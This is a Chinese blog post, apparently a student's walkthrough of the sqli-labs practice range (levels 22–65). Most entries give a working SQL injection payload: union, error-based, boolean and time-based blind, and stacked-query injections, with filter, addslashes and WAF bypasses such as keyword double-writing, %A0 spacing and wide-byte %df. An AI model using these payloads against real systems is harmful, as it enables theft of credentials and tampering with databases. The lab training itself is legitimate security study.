第七周靶场练习及心得(2)

Less-22 基于错误的双引号字符型Cookie注入)

老规矩先查看代码

这里闭合需要"去闭合,将单引号换成双引号 成功绕过

-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

Less-23 基于错误的,过滤注释的GET型

通过union 查询,在3处闭合 将查询语句写入
-1' union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1

Less-24 二次注入

先看代码

先用普通用户登录admin-admin 

 

 然后创建账号修改密码为12345然后就可以登录啦

Less-25 过滤了or和and

先看源代码

提示是or和and以及被替换

爆破数据表

?id=1' oorr 1=1 --+
?id=1' aandnd 1=1 --+

 使用双写挨个测试

Less-26 过滤了注释和空格的注入

先看源代码

查看源码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

空格和注释无法使用
绕过空格的几种
%09 tab键 %0a 新建一行 %0c 新的一页 %od return功能 %0b tab键垂直 %a0 空格

用%A0替代空格使用,用&&(%26%26)替代AND使用
构造payload: 0'%A0UNION%A0SELECT%A01,version(),database()%26%26%a0'1
这道题还可以使用盲注实现
0'||left(database(),1)='s'%26%26'1'='1
同样报错注入也可以实现
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

只要将空格和and绕过 那么实现就简单了
or和and 很好过滤,注释过滤了就使用永真闭合

Less-27 过滤了union和select

做了这么多了,下来就不说如何拿到数据了,重点在于如何绕过,只要能够找到注入点,剩下的可以利用sqlmap 等等工具直接利用,毕竟在渗透中,没有那么多的时间让我们去消耗

过滤了union和select
绕过方式:双写 大小写
0'%0aUnioN%0aSeleCT%0a1,2,3;%00
0'%A0UnIoN%A0SeLeCt(1),2,3%26%26%a0'1

这里说明一下,冒号可以做闭合用, %00用来截断 这样和注释有相同的含义,这下绕过就多了:注释,分号闭合,冒号%00截断

 

Less-27a 过滤了union和select

和上一题一样,但是把单引号换成了双引号
替换上一题的payload即可绕过

0"%0aUNion%0aseLEct%0a1,2,3%26%26%0a"1
0"%0aUNion%0aseLEct%0a1,2,3;%00

 

 

Less-28 过滤了union和select大小写

 0')%A0UnIoN%A0SeLeCt(1),version(),3%26%26%a0('1
使用盲注也可以达到注入的目录
0')||left(database(),1)='s';%00

 

 

Less-28a盲注 过滤了union和select大小写

 类似于28 这里可以使用注释
0')%A0UnIoN%A0SeLeCt(1),version(),database() --+

 

 

Less-29 获取-基于错误的缺乏证据的不匹配-在web应用程序前面有一个WAF。

 ?id=1&id=0%27%20union%20all%20sElect%201,database(),3%20–+

 

Less-30 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。

测试发现" 报错
0" union select 1,2,database() --+
测试发现上面的同样可以过waf
id=1&id=0" union select 1,2,database() --+ 

Less-31 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。

判断发现可以通过") --+ 闭合
id=1&id=0")  union select 1,2,database() --+

Less-32 一个为危险字符添加斜线的GET - Bypass自定义过滤器

 

注释发现 系统会给特殊字符添加转义\
那么我们是否可以编码绕过,发现编码不行
尝试转换成16进制也不ok
百度一下,得到了这道题的做法:宽字节注入,由于数据库编码与前端编码不一致导致存在注入

汉字是由两个字节编码的,由于gbk和utf-8编码不一致导致报错,为了构成报错,我们需要添加一个大于128的编码

0%df'  union select 1,database(),3 --+
成功绕过

Less-33 bypass Addslashes()

这里主要是如何绕过addslashes()这个函数
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

    单引号(')
    双引号(")
    反斜杠(\)
    NULL

提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
这里和32 差别不大 一个是自定义添加,另一个是使用函数添加
0%df'  union select 1,database(),3 --+

Less-34 bypass Addslashes()

和上一关差别不大,使用post请求
一样的宽字节注入,并且在uname和passwd处都存在注入
uname=0%df'  union select 1,database() --+&passwd=0&submit=Submit

Less-35 GET-Bypass添加斜杠(我们不需要)整数

这里输入的整数 直接--+ 就可以绕过了
0 union select 1,database(),3 --+

Less-36 GET-Bypass MySQLreal escape_string

使用mysql_real_escape_string函数对于特殊字符进行转义。id参数是单引号,和前面三十二关一样

Less-37 POST-Bypass MySQLreal escape_string

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名
1%df' union select 1,group_concat(password,username) from users--+ 爆密码账户

Less-38 层次化查询

可以直接正常注入
主要看下这个函数
mysqli_more_results() 检查一个多重查询语句中是否有更多结果

Less-39 GET - Stacked Query Injection - Intiger based

语句都一样,重点是找到闭合的方式
1;insert into users(id,username,password) values (16,'a','a')-- 

Less-40 GET-BLIND - based - String - stacked

1'); insert into users(id,username,password) values ('17','a','a')--+

Less-41 GET - BLIND based - Intiger - Stacked

1; insert into users(id,username,password) values(18,'b','b') --+

Less-42 POST - Stacked Query error based

经过验证,在password处语句报错,所以我们需要从passowrd入手

0';create table aaa like users #

Less-43 POST- Stacked Query error based with twist

和 42 类似 同样password 未过滤

login_user=1&login_password=a');create table less43 like users#&mysubmit=Login

Less-44 POST - Error based - String - Stacked -Blind

login_user=a&login_password=a';insert into users(id,username,password) values(19,'a','a') --+&mysubmit=Login

Less-45 POST - Error based - String - Stacked - Blind

login_user=a&login_password=a'); insert into users(id,username,password) values(20,''c','c') --+&mysubmit=Login

Less-46 ORDER BY-Error-Numeric

终于迎来了一个过渡
这次的注入是通过order by 来进行的
通过sort 查询 发现当输入4的时候报错,而报错提示与order by 提示相同,猜想可能是将输入的值插入order by里进行的
通过updatexml 报错注入
sort=4 and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

Less-47 ORDER BY Clause-Error-Single quote

和46有少许区别,做到这里基本套路应该都懂了,从不需要单引号,双引号之类的报错,到盲注,难度都是一步一步深入
sort=4' and (select count(*)  from information_schema.columns group by concat(0x7e,(select database()),0x7e,floor(rand(0)*2)))  --+
注意 and后面的语句要使用()括起来
基于 procedure analyse 注入
sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

Less-48 ORDER BY Clause Blind based

需要使用盲注解决
通过substr获取所要查询的信息的位数
然后使用ascii去解析成ascii编码
通过if判断是否相等 去获取值
构成 if(ascii(substr(datbase(),1,1)))

Less-49 ORDER BY Clause Blind based

这一题使用延时盲注解决 获取长度 1 and if(length(database())=8,sleep(5),0)--+ 获取值 1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))--+

Less-50 ORDER BY Clause Blind based

?sort=1;insert into users(id, username, password)values(100,'721721','127'); --+

Less-51 ORDER BY Clause Blind based

sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

 

 

Less-52 ORDER BY Clause Blind based

测试发现均没有显错 只能盲注了
1 and if(length(database())=8,sleep(5),0) --+

 

Less - 53 ORDER BY Clause Blind based

 

?sort=1';insert into users(id,username,password)values(100,'721','721'); --+ 

Less-54 GET-challenge-Union-10 queries allowed-Variation 1

?id=-1' union select 1,2,database() --+//爆破数据库

Less-55 GET-challenge-Union-14 queries allowed-Variation 2

?id=-1) union select 1,2,database() --+//爆破数据库

Less-56 GET-challenge-Union-14 queries allowed-Variation 3

?id=-1') union select 1,2,database() --+//爆破数据库

Less-57 GET-challenge-Union-14 queries allowed-Variation 4

?id=-1" union select 1,2,database() --+

Less-58 GET-challenge-Double Query-5 queries allowed-Variation 1

这一关和前面不太一样,因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示,所以可以使用报错注入。

 

Less-59 GET-challenge-Double Query-5 queries allowed-Variation 2

?id=-1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+

Less-60 GET-challenge-Double Query-5 queries allowed-Variation 3

?id=-1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+

 

 

Less-61 GET-challenge-Double Query-5 queries allowed-Variation 4

闭合方式为 '))

爆破数据库

?id=-1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+

Less-62 GET-challenge-Blind- 130 queries allowed -variation 1

?id=1') and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+

Less-63 GET-challenge-Blind- 130 queries allowed -variation 2

和上一题一样,通过测试闭合
发现 ") 绕过 闭合 

Less-64 GET-challenge-Blind- 130 queries allowed -variation 3

测试了 '  " ) )) ') ") ')) "))
1)) order by 3 %23 闭合

Less-65 GET-challenge-Blind- 130 queries allowed -variation 4

?id=1") and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+

")闭合

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值